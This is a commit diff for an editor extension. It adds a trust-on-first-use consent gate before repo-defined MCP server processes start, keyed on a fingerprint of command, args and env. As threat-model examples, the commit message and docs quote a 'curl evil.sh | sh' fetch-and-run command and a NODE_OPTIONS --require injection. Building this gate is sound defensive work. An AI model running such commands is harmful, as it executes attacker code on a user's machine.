Skip to content

Commit 4e6fc7d

Browse files
committed
feat(mcp): trust-on-first-use launch gate — S4b (G1)
Repo-authored servers could not start at all: S3 read `.levelcode/mcp.json`, listed what it declared, and posted "an approval step that ships later". This is that step, and with it every gate in docs/MCP.md §4 is enforced. A `.levelcode/mcp.json` entry names a process to spawn, and the file is attacker-controlled for any repo you clone — `{"command":"sh","args":["-c","curl evil.sh | sh"]}` is RCE on clone-and-open. So: settings servers still start unprompted (the user typed them); repo-authored ones show a consent card with the LITERAL command line and start only if approved. Two properties the one-line spec does not carry, both load-bearing: * Trust is keyed on a FINGERPRINT OF WHAT WOULD RUN, not on the server's name. Keying on the name would let a repo win consent for `npx …server-filesystem` and then swap in `sh -c …` under the same name. Changing command, args, or env re-prompts. * `env` is in that fingerprint and on the card, because it is execution surface: NODE_OPTIONS=--require /tmp/evil.js is RCE without touching command or args. The gate FAILS CLOSED — with no webview there is nobody to ask, so the server does not start. A headless or test context must never be the path that silently spawns a repo's process. Trust lives in workspaceState (`levelcode.ai.mcpLaunchTrust`), not settings, so it is per-workspace by construction: approving a server in one repo says nothing about another repo declaring one by the same name. mcpConfig gains four pure, tested functions — launchFingerprint, isLaunchTrusted, rememberLaunchTrust, describeMcpLaunch — so the security decision is unit-testable without booting a webview. One trap caught while writing it: chat.html carries TWO pendingApproval shapes, and the keydown handler only understands `{ done }`. The card first published `{ approve, skip }`, which would have thrown on Enter — on the card whose Enter means "spawn this repo's process". webviewCss.test.js now pins the contract, and I verified it fails against the wrong shape. 53 mcpConfig cases (up from 47), 10 webviewCss; 23 suites, 0 failures.
1 parent fab9021 commit 4e6fc7d

7 files changed

Lines changed: 311 additions & 8 deletions

File tree

docs/MCP.md

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -108,6 +108,22 @@ A workspace-file config names *a process to spawn*. A hostile repo shipping `.le
108108
- Servers from **user settings** start without prompting (the user typed them), but are still listed.
109109
- The consent card shows the literal command line — no summarizing.
110110

111+
**Shipped (S4b).** `approveMcpLaunch` (`agent.js`) gates every non-`settings` server;
112+
`kind:'mcpLaunch'` renders the card. Trust lives in `workspaceState` under
113+
`levelcode.ai.mcpLaunchTrust` as `{ serverName: launchFingerprint }`.
114+
115+
Two details the one-line rule above does not carry, both load-bearing:
116+
117+
- **Trust is keyed on the fingerprint of what would RUN, not on the server's name.** Otherwise a repo
118+
gets consent for `npx …server-filesystem` and then swaps in `sh -c 'curl … | sh'` under the same
119+
name. Changing the command, args, *or* env re-prompts.
120+
- **`env` is part of that fingerprint**, because it is part of the execution surface:
121+
`NODE_OPTIONS=--require /tmp/evil.js` is RCE without touching command or args at all. It is shown on
122+
the card for the same reason.
123+
124+
The gate **fails closed**: with no webview there is nobody to ask, so the server does not start. A
125+
headless or test context must never be the path that silently spawns a repo's process.
126+
111127
### G2 — Per-call approval
112128
Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on
113129
`kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**.
@@ -153,8 +169,10 @@ today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknow
153169
(`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the
154170
servers, mirroring the project-rules chip (`agent.js:493`).
155171

156-
**S4 — trust + approval UX.** The `kind:'mcp'` approval card, the G1 trust-on-first-use flow, and the
157-
autopilot policy. This is the slice that must not be skipped to "get it working."
172+
**S4 — trust + approval UX. DONE.** The slice that must not be skipped to "get it working."
173+
- **S4a** — the `kind:'mcp'` per-call approval card and the autopilot policy (G2, G3).
174+
- **S4b** — the G1 trust-on-first-use launch gate, which is what finally lets a `.levelcode/mcp.json`
175+
server start at all. With it, every gate in §4 is enforced.
158176

159177
**S5 — visibility.** `/mcp` slash command (a near-copy of `/skills`: `chat.html:2124`
160178
`extension.js:1297`), and an `mcp` segment in the context-usage popover (`contextUsage` already carries a

extensions/levelcode-ai/agent.js

Lines changed: 58 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,8 @@ const providers = require('./providers/index');
1717
const { formatVerifyFeedback, verifyOutcome, looksUnrunnable, sniffPort, sniffPreviewUrl, looksReady } = require('./verify');
1818
const { classifyCommand, dangerLabel } = require('./commandSafety');
1919
const { loadProjectRules } = require('./projectRules');
20-
const { loadServerConfig, buildAgentTools, toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall } = require('./mcpConfig');
20+
const { loadServerConfig, buildAgentTools, toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall,
21+
isLaunchTrusted, rememberLaunchTrust, describeMcpLaunch } = require('./mcpConfig');
2122
const { connectAll, getServer } = require('./mcpClient');
2223

2324
const SYSTEM_BASE = [
@@ -545,6 +546,56 @@ function isAgentAuthError(e) {
545546
*
546547
* Never throws: MCP is an enhancement, and no server misconfiguration may take down an agent run.
547548
*/
549+
/**
550+
* G1 launch gate for ONE repo-authored server. Returns true if it may be spawned.
551+
*
552+
* Trust is per workspace and keyed on the fingerprint of what would run, so a repo that was approved
553+
* once cannot later swap the command, args, or env under the same server name — that reads as a new
554+
* server and asks again.
555+
*
556+
* Fails CLOSED. With no webview there is nobody to ask, so the server does not start; a headless or
557+
* test context must never be the path that spawns a repo's process silently.
558+
*/
559+
async function approveMcpLaunch(ctx, server, dbg) {
560+
const store = (ctx.mcp && ctx.mcp.launchTrust) || {};
561+
if (isLaunchTrusted(server, store)) {
562+
dbg('mcp.launch.trusted', { server: server.name });
563+
return true;
564+
}
565+
566+
const card = describeMcpLaunch(server);
567+
if (typeof ctx.approve !== 'function') {
568+
dbg('mcp.launch.nonInteractive', { server: server.name });
569+
ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · "' + server.name + '" not started — repo-defined servers need approval, and there is no prompt in this context' });
570+
return false;
571+
}
572+
573+
dbg('mcp.launch.prompt', { server: server.name, fingerprint: card.fingerprint });
574+
const approved = await ctx.approve({
575+
kind: 'mcpLaunch',
576+
server: card.server,
577+
origin: card.origin,
578+
commandLine: card.commandLine,
579+
envLines: card.envLines
580+
});
581+
582+
if (!approved) {
583+
dbg('mcp.launch.declined', { server: server.name });
584+
ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · "' + server.name + '" not started (declined)' });
585+
return false;
586+
}
587+
588+
// Remembered only on approval, and only for this workspace. Best-effort: failing to persist means
589+
// the user is asked again next run, which is the safe direction to fail.
590+
if (typeof ctx.rememberMcpTrust === 'function') {
591+
try { await ctx.rememberMcpTrust(rememberLaunchTrust(server, store)); } catch (e) {
592+
dbg('mcp.launch.rememberFailed', { server: server.name, error: String((e && e.message) || e) });
593+
}
594+
}
595+
ctx.post({ type: 'agentTool', icon: 'check', text: '🔌 mcp · trusted "' + server.name + '" for this workspace' });
596+
return true;
597+
}
598+
548599
async function setupMcp(ctx, wsFolders, dbg) {
549600
const empty = { tools: [], routes: null };
550601
const cfg = ctx.mcp || {};
@@ -557,11 +608,13 @@ async function setupMcp(ctx, wsFolders, dbg) {
557608
for (const p of problems) { dbg('mcp.config', p); }
558609
if (!servers.length) { return empty; }
559610

560-
const deferred = servers.filter((s) => s.source !== 'settings');
561-
if (deferred.length) {
562-
ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · ' + deferred.length + ' workspace server(s) not started — repo-defined servers need an approval step that ships later' });
563-
}
611+
// G1. Settings servers start unprompted — the user typed them. Repo-authored ones go through
612+
// trust-on-first-use, per server, per workspace, keyed on what they would actually spawn.
564613
const trusted = servers.filter((s) => s.source === 'settings');
614+
for (const s of servers.filter((s) => s.source !== 'settings')) {
615+
const ok = await approveMcpLaunch(ctx, s, dbg);
616+
if (ok) { trusted.push(s); }
617+
}
565618
if (!trusted.length) { return empty; }
566619

567620
// Connecting is up-front work: the tool list must be complete before turn one, so there is no

extensions/levelcode-ai/extension.js

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -775,6 +775,21 @@ let approvalSeq = 0;
775775
* it. Reads the current value the same user-scoped way it is read at run start. Idempotent, and refuses
776776
* a tool name that is not a namespaced server__tool to avoid writing junk from a malformed message.
777777
*/
778+
// G1 launch trust for repo-authored MCP servers: { serverName: launchFingerprint }.
779+
// workspaceState keeps it scoped to this workspace, so trusting a server in one repo grants nothing in
780+
// another. safeCopy on the way out because it round-trips through stored JSON.
781+
const MCP_TRUST_KEY = 'levelcode.ai.mcpLaunchTrust';
782+
783+
function mcpLaunchTrust() {
784+
try { return safeCopy(ctx.workspaceState.get(MCP_TRUST_KEY, {}) || {}); } catch { return {}; }
785+
}
786+
787+
async function saveMcpLaunchTrust(store) {
788+
try { await ctx.workspaceState.update(MCP_TRUST_KEY, safeCopy(store || {})); } catch (e) {
789+
dbg('mcp.launch.persistFailed', { error: String((e && e.message) || e) });
790+
}
791+
}
792+
778793
async function mcpAllowAlways(name) {
779794
// isNamespacedToolName owns the rule (mcpConfig.js), rather than a second regex here: this used to
780795
// hand-roll one that required a `__` separator, which REJECTED names namespaceToolName legitimately
@@ -1086,8 +1101,13 @@ async function agentFlow(text) {
10861101
// application-scoped in package.json; this is the defense-in-depth half. See userScopedSetting.
10871102
mcp: {
10881103
servers: userScopedSetting(cfg.inspect('mcp.servers'), {}),
1089-
toolPolicy: userScopedSetting(cfg.inspect('mcp.toolPolicy'), {})
1104+
toolPolicy: userScopedSetting(cfg.inspect('mcp.toolPolicy'), {}),
1105+
// G1 trust for repo-authored servers. workspaceState, NOT settings: consenting to a
1106+
// server in one repo must say nothing about another repo that declares one by the
1107+
// same name, and workspaceState is per-workspace by construction.
1108+
launchTrust: mcpLaunchTrust()
10901109
},
1110+
rememberMcpTrust: saveMcpLaunchTrust,
10911111
contextLimit: contextLimitFor(req.providerId, capsModel(req.model)), // Auto → flagship window; the model SENT stays req.model
10921112
openPreview: openPreview, // background server advertised a local URL → show it in-editor
10931113
commandStops: commandStops, // runId → stop() (process-group kill); used by Stop button / ■

extensions/levelcode-ai/mcpConfig.js

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -472,6 +472,71 @@ function previewArgs(args) {
472472
* @param {{server?:string, tool?:string, annotations?:object}} [route]
473473
* @returns {{server:string, tool:string, argsText:string, destructive:boolean, canAllowAlways:boolean}}
474474
*/
475+
// ---- G1: trust-on-first-use for repo-authored servers ----------------------
476+
// A `.levelcode/mcp.json` entry names a process to spawn, and the file is attacker-controlled for any
477+
// repo you clone. These four functions are the launch gate: fingerprint what would be spawned, compare
478+
// it to what this workspace has already trusted, and describe it for the consent card.
479+
480+
/**
481+
* A stable fingerprint of what a server entry would actually EXECUTE.
482+
*
483+
* Trust is remembered against this, not against the server's NAME, so a repo cannot be granted consent
484+
* for `npx @modelcontextprotocol/server-filesystem` and then quietly swap in `sh -c 'curl … | sh'` under
485+
* the same name — the fingerprint changes and the user is asked again.
486+
*
487+
* `env` is included, and that is not padding: `NODE_OPTIONS=--require /tmp/evil.js` turns an innocent
488+
* `node` command into arbitrary code execution without touching command or args. Keys are sorted so an
489+
* unrelated reordering of the JSON does not spuriously revoke trust.
490+
*/
491+
function launchFingerprint(server) {
492+
const s = server || {};
493+
const env = s.env || {};
494+
const envPairs = Object.keys(env).sort().map((k) => k + '=' + String(env[k]));
495+
return shortHash(JSON.stringify([String(s.command || ''), (s.args || []).map(String), envPairs]));
496+
}
497+
498+
/**
499+
* Has THIS workspace already approved launching exactly this server?
500+
*
501+
* `store` is a plain `{ serverName: fingerprint }` map held in workspaceState, so trust is per-workspace
502+
* by construction: approving a server in one repo says nothing about another repo that happens to
503+
* declare a server by the same name.
504+
*/
505+
function isLaunchTrusted(server, store) {
506+
if (!server || !server.name) { return false; }
507+
const known = store && store[server.name];
508+
return typeof known === 'string' && known === launchFingerprint(server);
509+
}
510+
511+
/** Record trust for one server. Pure: returns the new store, so the caller owns persistence. */
512+
function rememberLaunchTrust(server, store) {
513+
const next = safeCopy(store || {});
514+
if (server && server.name) { next[server.name] = launchFingerprint(server); }
515+
return next;
516+
}
517+
518+
/**
519+
* The consent card's data. docs/MCP.md G1: "shows the literal command line — no summarizing."
520+
*
521+
* So `commandLine` is the real thing, quoted only where an argument contains a space (otherwise
522+
* `--path /a b` reads as two arguments when it is one). Env is surfaced separately as NAME=value,
523+
* because it is part of the execution surface the user is consenting to and hiding it would make the
524+
* card a half-truth.
525+
*/
526+
function describeMcpLaunch(server) {
527+
const s = server || {};
528+
const quote = (a) => (/[\s"']/.test(String(a)) ? JSON.stringify(String(a)) : String(a));
529+
const env = s.env || {};
530+
const envLines = Object.keys(env).sort().map((k) => k + '=' + String(env[k]));
531+
return {
532+
server: String(s.name || ''),
533+
origin: String(s.origin || ''),
534+
commandLine: [String(s.command || '')].concat((s.args || []).map(quote)).join(' '),
535+
envLines: envLines,
536+
fingerprint: launchFingerprint(s)
537+
};
538+
}
539+
475540
function describeMcpCall(name, args, route) {
476541
const r = route || {};
477542
const fallback = String(name == null ? '' : name).split(NAME_SEPARATOR);
@@ -485,5 +550,6 @@ module.exports = {
485550
loadServerConfig, userScopedSetting, namespaceToolName, isNamespacedToolName, assignToolNames,
486551
buildAgentTools, safeCopy,
487552
toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall,
553+
launchFingerprint, isLaunchTrusted, rememberLaunchTrust, describeMcpLaunch,
488554
BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_TOOL_DESC, MAX_ARG_CHARS, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH
489555
};

extensions/levelcode-ai/media/chat.html

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1876,6 +1876,51 @@
18761876
let pendingApproval = null; // { done } while a decision is awaited — Enter approves, Esc skips
18771877
// MCP tool call (S4) — its own card: server · tool · arguments, so the user sees exactly what a
18781878
// third-party tool is about to do. Args are shown in full (capped host-side): that IS the decision.
1879+
// G1 consent card: a repo-authored .levelcode/mcp.json wants to SPAWN A PROCESS. This is the one
1880+
// prompt where the stakes are RCE-on-clone, so it shows the literal command line — docs/MCP.md G1
1881+
// says "no summarizing" — plus any env it would set, since NODE_OPTIONS alone is enough to turn an
1882+
// innocent-looking `node` into arbitrary code.
1883+
//
1884+
// There is no "always allow" escape hatch by design: trust is remembered against a fingerprint of
1885+
// exactly this command, so approving is already the durable answer, and a second, vaguer button
1886+
// would only blur what was agreed to.
1887+
function addMcpLaunchApproval(m){
1888+
clearEmpty(); clearStatus(); agentBubble = null;
1889+
closeGroup();
1890+
const card = document.createElement('div'); card.className = 'tl tl-cmd tl-ask asking';
1891+
const envWell = (m.envLines && m.envLines.length)
1892+
? '<div class="askcode"><pre class="cmdsrc mcpargs">' + esc(m.envLines.join('\n')) + '</pre></div>'
1893+
: '';
1894+
card.innerHTML =
1895+
'<div class="tl-rail"><span class="tl-node">' + codicon('shield') + '</span></div>'
1896+
+ '<div class="tl-body"><div class="askcard">'
1897+
+ '<div class="asktitle">Start an MCP server from this repository?</div>'
1898+
+ '<div class="asksub"><b>' + esc(m.server || '') + '</b> is defined by <b>' + esc(m.origin || 'this workspace') + '</b>, not by your settings — it comes from the repository, and starting it runs this command on your machine.</div>'
1899+
+ '<div class="askdanger">' + codicon('warning') + ' Only start this if you trust this repository.</div>'
1900+
+ '<div class="askcode"><pre class="cmdsrc mcpargs">' + esc(m.commandLine || '') + '</pre></div>'
1901+
+ envWell
1902+
+ '<div class="askbtns">'
1903+
+ '<button class="skip" title="Don’t start it (esc)">Don’t start <kbd>esc</kbd></button>'
1904+
+ '<button class="approve" title="Start it, and remember this exact command for this workspace (⏎)">Start server <kbd>⏎</kbd></button>'
1905+
+ '</div>'
1906+
+ '</div></div>';
1907+
log.appendChild(card); scrollIfStuck();
1908+
const done = (approved) => {
1909+
pendingApproval = null;
1910+
vscode.postMessage({ type: 'approvalResponse', id: m.id, approved, remember: false });
1911+
card.classList.remove('asking');
1912+
if (!approved) { card.classList.add('skipped'); }
1913+
card.querySelector('.tl-body').innerHTML =
1914+
'<div class="cmdhead"><span class="cmdverb">' + (approved ? 'Started' : 'Not started') + '</span>'
1915+
+ '<span class="cmdchips"><code>' + esc(m.server || '') + '</code></span>'
1916+
+ '<span class="cmdstate ' + (approved ? 'ok' : 'bad') + '">' + codicon(approved ? 'check-circle' : 'circle-slash') + '</span></div>';
1917+
forceStick();
1918+
};
1919+
card.querySelector('.approve').onclick = () => done(true);
1920+
card.querySelector('.skip').onclick = () => done(false);
1921+
pendingApproval = { done }; // Enter = Start server, Esc = Don't start
1922+
}
1923+
18791924
function addMcpApproval(m){
18801925
clearEmpty(); clearStatus(); agentBubble = null;
18811926
closeGroup();
@@ -1926,6 +1971,7 @@
19261971
}
19271972

19281973
function addApproval(m){
1974+
if (m.kind === 'mcpLaunch') { return addMcpLaunchApproval(m); }
19291975
if (m.kind === 'mcp') { return addMcpApproval(m); }
19301976
clearEmpty(); clearStatus(); agentBubble = null;
19311977
closeGroup(); // a blocking gate never hides inside a collapsed group (D4)

0 commit comments

Comments
 (0)